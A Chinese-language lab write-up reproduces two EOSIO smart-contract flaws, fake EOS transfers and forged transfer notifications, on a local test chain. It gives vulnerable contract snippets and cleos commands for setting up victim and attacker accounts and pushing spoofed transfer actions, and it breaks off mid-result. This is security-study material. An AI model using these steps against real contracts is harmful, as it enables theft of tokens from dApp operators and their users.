EOSIO漏洞复现
实验环境
- nodeos :2.0.12
- EOSIO.CDT(编译器):1.2.1
- 实验数据
准备(前一篇文章已经介绍如何创建账户等等操作)
解锁账户(默认锁定时间较短,可以自己修改配置文件使得时间更长)
yourcount:指你自己创建的钱包名
1
$ cleos wallet unlock -n yourcount --password
EOS Fake Transfer复现过程
存在漏洞的合约示例(test.cpp):
1
2
3
4
5
6
7
8
9
10
11if( code == self || action == ::eosio::string_to_name("onerror") || code == N(eosio.token)) {
print("receiver:", name{receiver}, ", code:", name{code}, ", action:", name{action}, "\n");
notified thiscontract( self );
switch( action ) {
case ::eosio::string_to_name( "transfer" ):
eosio::execute_action( &thiscontract, ¬ified::transfer );
break;
}
}
// doSomething()
}漏洞产生的原因
由于eosio.token源代码完全公开的,所以任何人都能复制其源代码,并发布一个token(相同的名字、符号和代码),虚假的EOS和官方的唯一不同就是具有不同的发布人(issuer)。或者直接调用漏洞合约的transfer函数进行转账
过程
创建受害者账户
your key:是你自己创建的公钥,需要把公钥导入到你的钱包以及官方钱包eosio
1
$ cleos create account eosio victim4 "your key"
部署测试合约test.cpp
cleos set contract + 账户名 + 测试合约的wasm字节码所在目录 + -p + 账户@active(默认权限为active,故可加可不加)
1
$ cleos set contract victim4 test/ -p victim4
开始模拟攻击
直接调用test.cpp合约的transfer(主要目的看是否trasnfer中的print是否有输出)
cleos push action + 账户名 + 需要调用的action + ‘调用action的参数’ + -p + 转账账户 (+ -j)
1
$ cleos push action victim4 transfer '["eosio","victim4","10.0000 EOS","inlined call"]' -p eosio -j
说明:加了一个 -j ,说明结果以json的格式进行输出的
结果显示:测试合约的transfer函数被调用了
查询账户余额
cleos get currency balance eosio.token + 查询账户 + token名(EOS)
1
$ cleos get currency balance eosio.token victim4 EOS
Forged Transfer Notification复现过程
存在漏洞的合约示例(test.cpp):
1
2
3
4
5
6
7
8
9void transfer(account_name from, account_name to, asset quantity, string memo) {
print("\n Receiving transfer message: from ", name{from}, " to ", name{to}, ",", quantity, ",", memo);
if (from == _self) {
print("have a vulnerability!");
return;
}
print("in eosbet transfer,", name{ from }, ",", name{ to });
// doSomething()
}漏洞产生的原因
攻击者在 EOS 网络中控制两个账户 A(发起攻击的账户) 和 B(将收到的通知立即转发给账户C)。通过账户 A 向账户 B 发送真正的 EOS,如图所示,eosio.token 合约在转账成功后会向 账户A、B 发送 notification。当账户 B 收到 notification后,通过调用require_recipient(C)随即将收到的通知转发给部署受害者智能合约的账户C。
过程
创建攻击者账户sender,用于向另一个由攻击者控制的账户notifier
your key:是你自己创建的公钥,需要把公钥导入到你的钱包以及官方钱包eosio
1
$ cleos create account eosio sender "your key"
创建账户notifier,用于将收到的转账通知转发给受害者
1
$ cleos create account eosio notifier "your key"
创建受害者账户
1
$ cleos create account eosio victim5 "your key"
账户notifier部署攻击合约eosbethack.cpp
cleos set contract + 账户名 + 测试合约的wasm字节码所在目录 + -p + 账户@active(默认权限为active,故可加可不加)
1
$ cleos set contract notifier eosbethack/ -p notifier
账户victim5部署攻击合约eosbet.cpp
1
$ cleos set contract victim5 eosbet/ -p victim5
开始模拟攻击
账户sender(攻击者)向账户notifier(攻击者)发送EOS(主要目的看是否trasnfer中的print是否有输出)
cleos push action + 账户名 + 需要调用的action + ‘调用action的参数’ + -p + 转账账户 (+ -j)
1
$ cleos push action eosio.token transfer '["sender","notifier","10.0000 EOS","transfer himself"]' -p sender -j
说明:加了一个 -j ,说明结果以json的格式进行输出的
结果显示:测试合约的transfer函数被调用了
结果显示: